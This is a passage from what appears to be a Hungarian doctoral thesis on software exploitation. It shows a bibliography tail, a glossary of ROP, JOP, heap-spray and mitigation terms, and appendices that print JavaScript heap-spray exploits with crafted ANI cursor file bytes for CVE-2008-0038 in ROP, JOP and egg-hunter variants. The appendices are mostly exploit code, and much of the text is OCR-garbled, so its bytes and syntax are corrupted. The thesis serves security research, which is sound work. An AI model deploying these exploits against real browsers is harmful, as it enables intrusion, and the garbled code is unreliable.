attacks, SACI 2013 — 8th International Symposium on Applied Computational
Intelligence and Informatics, Timisoara, Romania (IEEE), 2013, pp. 321-325.

[67] L. Erdédi, Comparison of different control gadgets for jump oriented programming,
Scientific Bulletin of the Politechnica University of Timisoara, Transactions on
Automatic Control and Computer Science, 2013, pp. 157-162.

[68] L. Erdodi, Applying Return Oriented and Jump Oriented Programming Exploitation
Techniques with Heap Spraying, Acta Polytechnica Hungarica (k6zlésre elfogadva)

[69] L. Erdddi, Z. L. Nemeth: When Every Byte Counts — Writing Minimal Length
Shellcodes - 13th IEEE International Symposium on Intelligent Systems and
Informatics, Subotica, Serbia, 2015 (kozlésre elfogadva)

[70] L. Erdédi, Conditional Gadgets for Return Oriented Programming, Conference: 5th
IEEE International Symposium on Logistics and Industrial Informatics (LINDI 2013),
2013, pp.

[71] L. Erdodi, File compression with LZO algorithm using NVIDIA CUDA architecture,
LINDI 2012 — 4th IEEE International Symposium on Logistics and Industrial
Informatics, Smolenice, Slovakia, 2012.09.05-2012.09.07. (IEEE), pp. 251-254.

[72] L Erdédi, Memoria alapu timadasok kiaknazasi lehetdségei, ISCD2013 Conference
NSA-HUN, 2-3. September 2013, Balatondszod,
www.nbf.hu/anyagok/prezentaciok/Erdodi Laszlo Obuda Uni.ppt, 2013.

XII



Idegen szavak gyljteménye

A dolgozatban szamos olyan szo6 €s szokapcsolat talalhato, amelynél elonydsebbnek tartottam
az eredeti angol kifejezés hasznalatat. Szamos esetben ezek a szavak nem fordithatok le olyan
moddon, hogy megfeleléen visszaadjak az eredeti jelentést. A legijabb tamadasi és védekezési
technikanal néhany esetben nem hasznaltak még egy-egy szora magyar megfeleldt. Ilyen pl. a
szakirodalomban a "Return Oriented Programming" néven ismerté valt tamadasi technika,
amelyre hasznalhattam volna egy erdltetett forditast, pl. Visszatérési cim Orientalt
Programozas, stb., de mivel ezt a szdkapcsolatot tudomasom szerint én hasznaltam volna
el0szor magyarul, ezért erre nem vallalkoztam. Ezen tamadési technikdra a magyar

szakirodalomban is csak ugy szoktak hivatkozni, hogy ROP.

Mas esetben Iétezik magyar megfeleld (pl. buffer overflow - puffer tulcsordulas). Ezekben az
esetekben mind a magyar mind az angol megfelel6t hasznaltam a dolgozatban. Mindezek
miatt egy rovid Osszefoglalot készitettem a dolgozatban szerepld idegen kifejezésekbal,
minden kifejezésre egy rovid magyarazattal, amennyiben létezik, az ismert magyar kifejezést

is megadtam.

ROP: Return Oriented Programming, egy olyan szoftverhiba kiaknazasi technika, amellyel a
tamado kodsorozat aprd részekbdl tevddik Ossze, az egyes részek kozotti kapcsolatot
(folytonos végrehajtast) a ret (return) assembly utasitas biztositja

JOP: Jump Oriented Programming, egy olyan szoftverhiba kiaknazasi technika, amellyel a
tamado kodsorozat apro részekbdl tevodik Ossze, az egyes részek kozotti kapcsolatot
(folytonos végrehajtast) a jmp (jump) assembly utasitas biztositja

Egg-hunting: Tojas vadaszat, egy olyan szoftverhiba kiaknazési technika, amely esetén a
kiaknazas soran egy keresd algoritmus fut le, amelynek célja az elézetesen nem pontosan
ismert helyen 1év6 tdmado kod megtalalasa és végrehajtasa

Heap spray: Egy olyan payload elhelyezési technika, amely sordn a payload sok példanyban
keriil lehetdség szerint egymas utdn a heap szegmensre, igy ha a timad6 megtippeli a payload
helyét, feltehetdleg valamelyiket eltaldlja

Zero day vulnerability: Nulladik napi sériilékenységként szoktdk emlegetni. Ez egy olyan
sériilékenység, amely korabban még nem volt ismert, igy javitdsok nem késziiltek hozza ezért

célzott modon kihaszndlhatoak tamadas céljara
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Stack: Verem, a virtualis memoria azon része, ahol a LIFO (last in first out) elven a szoftver
adatokat tarol (pl. metodushivasok adatait).

Heap: Halom, a virtudlis memoria azon része, ahol a dinamikusan (futasidében) torténd
memoriahasznalathoz torténd adatok tarolasa torténik.

Payload: hasznos tamado kédrész, a tdimadé kod azon része, amely a tényleges tdmado kodot
tartalmazza

Exploit: Olyan rovid kis adatsorozat, amely egy sériilékenységet kiaknazva valamely a
szoftverfejleszto altal nem szandékozott miiveletsorozatot hajt végre a hibas szoftveren

DEP: Data Execution Prevention (Adatvégrehajtasi védelem), egy olyan védekezd technika,
amely szoftverhibdk kiaknazdsanak megnehezitését célozza olyan modon, hogy bizonyos
memoriaszegmenseken korlatozza a kodvégrehajtast, mas helyeken pedig a memoriairast
ASLR: Address Space Layout Randomization (Memoria cimtér randomizalds), egy olyan
védekezo technika, amely szoftverhibak kiaknazasanak megnehezitését célozza olyan mddon,
hogy a virtuadlis memoridba betdlt memoriaszegmensek helyét randomizalja, ezaltal
megnehezitve a timado kodok wjrafelhasznalasat

EMET: Enhanched Mitigation Experience Toolkit, a Windows operacios rendszerek egy
olyan védekezd megoldasa, amely szdmos 0j megoldast egylittesen tartalmaz, pl. a ROP
tamadasok meggatolasara alkalmazott modszert is.

Proof of concept: A koncepcié bizonyitasa, szoftverhibdknal egy hiba meglétének
bizonyitasara késziilt tamado kodokat nevezik igy

Dispatcher gadget: Diszpécser kacat, a Jump Oriented Programmok vezérlését végzo
kodrészlet

Funkcional gadget: Funkcionalis kacat, a Jump Oriented Programmok tdmadoé kod végrehajto
része

Stack frame: A verem egy blokkja, amely egy adott metodushivashoz tartozik

Nop sled: Ures utasitasok sorozta amely abbol a célbol keriil a tdmado kod elejére, hogy a
bizonytalan kezdeti ugras ukozta hibat kikiiszobolje

Stack / Heap cookie: Verem/ Halom siiti, célja a verem ¢és halom integritdsanak ellenérzése
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A Fiiggelék
Return Oriented Programming - Heap Spray exploit a CVE-2008-0038

hibara

index-rop.htm:
<SCRIPT language="JavaScript">
var heapSprayToAddress = 0x07000000;

var payLoadCode =
unescape("%u991b%u7¢80%u3000%u0040%ubd42%u7c96%u6163%u636¢%ul376%u7¢95%u991b%u7c¢80%u300
4%u0040%ubd42%u7c96%u0000%u0000%u1376%u7c95%u991b%u7c¢80%ul 14d%u7c86%ub63b%u77d9%u3000
%u0040%u0001%u0000%u0000%u0000%ucaa2%u7c81%u0000%u0000%u0000%u0000%u0000%u0000%u0000%
1u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9bac%u7c92");

spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)

{

memory[i] = spraySlide + payLoadCode;

§

document.write("<HTML><BODY style=\"CURSOR: url(riff-rop.htm')\"> </BODY></HTML>")
wait(500)

window.location.reload()

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)

spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;

}
</SCRIPT>

riff-rop:htm

\x52\x49\x46\x46\x00\x04\x00\x00\x4 1\x43\x4F\x4E\x6 1\x6 E\x 69\x 68\x24\x 00\x00\x 00\x24\x 00\x00\x 00\x FF\x FF\x 00\x 00
x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 1 0\x 00\x 00\x 00\x 0 1\x 00\x 00\x 00\
x4C\x49\x53\x54\x03\x00\x00\x00\x 1 0\x 00\x 00\x 00\x4C\x49\x53\x54\x03\x00\x00\x00\x02\x02\x 02\x 02\x 6 1 \x 6 E\x 69\x 68\
xA8\x01\x00\x00\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x 0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x 0B\x 0B\
x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x 0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B
\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x 0B\x0B\x0B\x 0B\x0B\x 0
B\x0B\x0B\x0B\x0B\x0B\x0B\x AB\x9B\x92\x 7C\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x 0B\x 0B\x0B\x 0B\x 0B\x
0B\x0B\x0B\x0B\x0B\x0C\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x 0B\x0B\x 0B\
x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B
\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0
B\x0B\x0B\x0B\x0B
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B Fiiggelék
Jump Oriented Programming - Heap Spray exploit a CVE-2008-0038

hibara

index-jop.htm:
<SCRIPT language="JavaScript">
var heapSprayToAddress = 0x07000000;

var payLoadCode =
unescape("%ud23%u7c85%ud2{3%u7c85%ud23%u7c85%ud2{3%u7c85%uSeft%u7c83%useft%u7c83%u5eff%u7
¢83%uSeft%u7c¢83%ubla3%u7c81%ubla3%u7c81%ubla3%u7c81%ubla3%u7c81%ud2f3%u7c¢85%ud2{3%u7c85
%ud2£3%u7c¢85%ud213%u7c¢85%ud2f3%u7c¢85%ud2f3%u7c¢85%ud23%u7c¢85%ud213%u7c¢85%ud2f3%u7c¢85%ud
23%u7c¢85%ud2{3%u7c¢85%ud2f3%u7c¢85%ud2f3%u7c¢85%ud2f3%u7c¢85%ud213%u7c¢85%ud2f3%u7c¢85%usSeft%
u7c¢83%uSeff%u7c83%uSeff%u7c83%usSeff%u7c83%ubla3%u7c81%ubla3%u7c81%ubla3%u7c81%ubla3%u7c8l
%ud2f3%u7c¢85%ud2f3%u7c¢85%ud213%u7¢85%ud2f3%u7c¢85%ud23%u7c¢85%ud213%u7c¢85%ud2f3%u7¢85%ud
213%u7c¢85%ud213%u7c¢85%ud2f3%u7c85%ud2f3%u7c¢85%ud213%u7c¢85%us5eff%u7c¢83%u5eff%u7c¢83%usSeff%u
7¢83%uSeff%u7c¢83%ud213%u7¢85%ud2f3%u7¢85%ud23%u7c¢85%ud213%u7c¢85%ud2f3%u7¢85%ud2f3%u7c85
%ud2£3%u7c85%ud23%u7c85%uc69e%u7c81%uc69e%u7c81%uc69e%u7c81%uc69e%u7c8l ");

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%ud2f4%u7c85");

spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++) {

memory[i] = spraySlide + payLoadCode;

}

document.write("<HTML><BODY style=\"CURSOR: url('riff-jop.htm'\"> </BODY></HTML>")
wait(500)

window.location.reload()

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)
spraySlide += spraySlide;

spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;

;
</SCRIPT>

riff-jop.htm:

\x52\x49\x46\x46\x00\x04\x00\x00\x4 1\x43\x4F\x4E\x6  \x6 E\x69\x68\x24\x00\x00\x00\x24\x00\x 00\x 00\x FF\Ax FF\x 00\x 00
\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x 00\x00\x00\x00\x00\x 1 0\x00\x 00\x00\x 0 1\x00\x 00\x 00\
x4C\x49\x53\x54\x03\x00\x00\x00\x 1 0\x00\x00\x 00\x4C\x49\x 53\x 54\x03\x 00\x00\x00\x02\x02\x02\x02\x 6 1 \x 6 E\x 69\x 68\
xA8\x01\x00\x00\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x 0B\x 0B\x 0B\
x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B
\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0

B\x0B\x0B\x0B\x0B\x0B\x0B\x84\x E0\x87\x 7C\x00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\x 00\
x00\x00\x00\x00\x00\x00\x00\x3 1\x9B\x93\x 7C\x00\x00\x00\x00\x00\x 00\x00\x 00\x 00\x 0B\x 0B\x 0 B\x00\x 00\x00\x00\x 00
\x00\x00\x00\x31\x9B\x93\x7C\x31\x9B\x93\x 7C\x3 1\x9B\x93\x 7C\x00\x00\x 00\x 00\x 08 \x 32\x40\x 00\x63\x6 1 \x 6 C\x 6 3\x

0C\x32\x40\x00\x00\x00\x00\x00\x4D\x 1 1\x86\x 7C\x00\x30\x40\x00\x01\x00\x00\x00\x3 1\x9B\x93\x 7C\x A2\x CA\x8 1 \x 7

C\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x 0B\x0B\x0B\x 0B\x0B\x

0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x 0B\x0B\x 0B\
x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x0B\x 0B\x0B\x0B\x0B\x0B\x0B\x0B
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C Figgelék
Egg-hunter exploit tisztan ROP mddszerrel a CVE-2008-0038
hibara

index-egg.htm:
<SCRIPT language="JavaScript">

var payLoadCode =
unescape("%u991b%u7c¢80%u3000%u0040%ubd42%u7c¢96%u6163%u636c%ul376%u7c¢95%u991b6%u7c¢80%u300
4%u0040%ubd42%u7c96%u0000%u0000%u1376%u7c95%u991b%u7c80%ul 14d%u7c86%ub63b%u77d9%u3000
%u0040%u0001%u0000%u0000%u0000%ucaa2%u7c81%u0000%u0000%u0000%u0000%u0000%u0000%u0000%
1u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9bac%u7c92");

spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<1;i++)

{

memory[0] = spraySlide + payLoadCode;

j

document.write("<HTML><BODY style=\"CURSOR: url('riff-egg.htm')\"> </BODY></HTML>")
wait(500)

window.location.reload()

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)
spraySlide += spraySlide;

spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;

}
</SCRIPT>

riff-egg:htm

\x52\x49\x46\x46\x0\x4\x 0\x 0\x4 1\x43\x4F\x4E\x 6 1\x 6 E\x69\x 68 \x24\x 0\x 0\x 0\x 24\x 0\x 0\x O\x FFAx FF\x 0\x 0\x A \x 0\x 0\x 0\x
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